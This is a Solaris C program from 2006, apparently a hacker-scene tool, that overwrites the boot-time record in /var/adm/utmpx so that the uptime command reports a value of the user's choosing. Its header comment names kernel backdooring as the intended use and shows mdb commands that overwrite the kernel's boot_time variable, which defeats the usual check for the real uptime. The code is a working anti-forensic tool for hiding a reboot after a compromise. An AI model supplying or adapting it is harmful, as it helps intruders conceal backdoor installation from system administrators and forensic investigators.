/* 

solaris only hackuptime.c v0x1 by vnull 2006 
forget kernel modules, in solaris it's easier than elsewhere ;]
tested on sol10 x86 && opensol11 x86

compile: gcc hackuptime.c -Wall

ex:
-bash-3.00# ./a.out
found current uptime value: 4 days, 12 hours, 5 minutes
enter new days: 15
enter new hours: 23
enter new minutes: 40
-bash-3.00# uptime
  2:09pm  up 15 day(s), 23:40,  2 users,  load average: 0.11, 0.11, 0.10

prefered usage: kernel backdooring/reboot/hackuptime or simply impress friends

how to check for real uptime:
-bash-3.00# mdb -k
Loading modules: [ unix krtld genunix specfs dtrace uppc scsi_vhci ufs ip sctp arp usba fctl nca lofs zfs random sppp cpc fcip ptm ipc nfs ]
> boot_time::print
2006 Aug 29 12:54:47

but this can also be changed:
-bash-3.00# mdb -wk
Loading modules: [ unix krtld genunix specfs dtrace uppc scsi_vhci ufs ip sctp arp usba fctl nca lofs zfs random sppp cpc fcip ptm ipc nfs ]
> boot_time/W 200
boot_time:      0x44f41cf7      =       0x200
> boot_time::print
1970 Jan  1 01:08:32


*/
 
#include <utmp.h>
#include <utmpx.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>

time_t getdata()
{
	int d, h, m;

	setbuf(stdout, NULL);

	printf("enter new days: ");
	if(scanf("%d", &d) != 1) 
		return -1;

	printf("enter new hours: ");
	if(scanf("%d", &h) != 1) 
		return -1;

	printf("enter new minutes: ");
	if(scanf("%d", &m) != 1) 
		return -1;

	return d*60*60*24 + h*60*60 + m*60;
}

/* #define UTMPX_FILE "/var/adm/utmpx" */

int main()
{
	struct utmpx u;
	FILE *f;

	f = fopen(UTMPX_FILE, "r+");
	if(f == NULL) {
		perror("fopen");
		exit(-1);
	}
	
	while(!feof(f)) {
		fread((void *)&u, sizeof(u), 1, f);
		if(u.ut_type == BOOT_TIME) {
			time_t now, uptime, new;
			int m,h,d;

			time(&now);
			uptime = now - u.ut_xtime;

			/* cvs.opensolaris.org powered ;) */
			d = uptime / (60*60*24);
    			uptime %= (60*60*24);
			h = uptime / (60*60);
			uptime %= (60*60);
			m = uptime / 60;

			printf("found current uptime value: %d days, %d hours, %d minutes\n", d, h, m);

			fseek(f, -sizeof(u), SEEK_CUR);

			if((new = getdata()) == -1) {;
				fprintf(stderr, "bad input\n");
				exit(-1);	
			}

			u.ut_xtime = now - new;
			
			if(fwrite((void *)&u, sizeof(u), 1, f) != 1) {
				perror("fwrite");
				exit(-1);
			}
			
			
			break;
			
		}
		
	}

	fclose(f);
		
	return 0;
}

